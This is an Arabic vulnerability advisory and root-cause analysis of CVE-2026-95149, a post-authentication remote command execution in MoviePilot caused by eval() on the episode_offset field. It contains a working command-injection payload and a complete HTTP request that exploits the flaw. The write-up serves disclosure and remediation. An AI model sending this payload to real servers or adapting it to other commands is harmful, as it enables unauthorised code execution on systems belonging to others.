
إثبات مفهوم وتحليل للسبب الجذري للثغرة CVE-2026-95149، وهي تنفيذ أوامر عن بُعد (RCE) بعد المصادقة في FormatParser الخاص بـ MoviePilot عبر حقن eval() في episode_offset، مع إثبات مفهوم عبر HTTP وتفاصيل الإصلاح.
eval() في episode_offset (MoviePilot FormatParser)| الحقل | القيمة |
|---|---|
| معرّف CVE | CVE-2026-95149 |
| المنتج | MoviePilot (jxxghp/MoviePilot) |
| الإصدارات المتأثرة | <= v3.0.0 |
| تم إصلاحه في | فرع v3 — الالتزام 65b9c777de9194e40ba29dc17345afc5b4b4b0ba |
| الخطورة | عالية |
| ناقل الهجوم | عن بُعد، عبر واجهة HTTP API |
| الصلاحيات المطلوبة | مستخدم إداري مُصادَق عليه (حساب مسؤول أو حساب بدور إداري) |
| تفاعل المستخدم | لا يوجد |
| تاريخ الإبلاغ | 2026-09-11 |
| المشكلة العامة | jxxghp/MoviePilot#6644 |
يقبل FormatParser سلسلة نصية عشوائية ولا يتفرّع إلا بناءً على احتوائها على "EP" — فهو لا يتحقق أبدًا من أن
بقية السلسلة عبارة عن تعبير حسابي سليم البنية:
elif "EP" in offset:
self.__offset = offset
ثم تبني عدة فروع لاحقة تعبيرًا بلغة Python عبر الاستبدال النصي وتقيّمه مباشرةً:
start_ep = self.__offset.replace("EP", str(self._start_ep))
return int(eval(start_ep)), None, self.part
لا يقيّد غلاف int(...) سوى القيمة المُرجَعة للتعبير؛ فهو لا يمنع الآثار الجانبية التي
تحدث أثناء التقييم. لذلك فإن أي استدعاء دالة أو استيراد أو وصول إلى سمة مضمّن في الحمولة يُنفَّذ
قبل تحويل القيمة النهائية إلى int.
من محاولات المعالجة الشائعة ضرب الحمولة في صفر بحيث تبقى النتيجة الحسابية رقمية:
EP+__import__('os').system('touch /tmp/success')*0
هذا لا يزال يعمل. فالأثر الجانبي (تشغيل الأمر) يحدث أثناء التقييم، قبل وقت طويل من تحويل
عملية الجمع النهائية إلى int، لذا ينتهي الأمر بالمهاجم إلى الحصول على تنفيذ الأوامر و قيمة
تجتاز فحص النوع int() في آنٍ واحد.
POST /api/v1/transfer/manual?background=false HTTP/1.1
Host: x.x.x.x
Content-Length: 814
X-MoviePilot-Locale: zh-CN
Authorization: Bearer XXXX
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
{
"fileitem": {
"storage": "local",
"path": "/configured/media/file.mkv",
"type": "file",
"name": "file.mkv"
},
"episode_offset": "EP+__import__('os').system('touch /tmp/success')*0"
}
على نسخة مصابة، يُنشئ عملية خدمة MoviePilot الملف /tmp/success. وإذا لم يُرجِع استدعاء الـ API
الرمز 200، فسيرفع تحويل int() استثناءً — لكن الأمر المحقون قد نُفِّذ بالفعل، لذا فإن نتيجة الطلب
لا علاقة لها بالاستغلال.
app/application/formatting.py (السطران 102 و184 في v3.0.0)app/api/endpoints/transfer.py:645 → app/schemas/transfer.py:302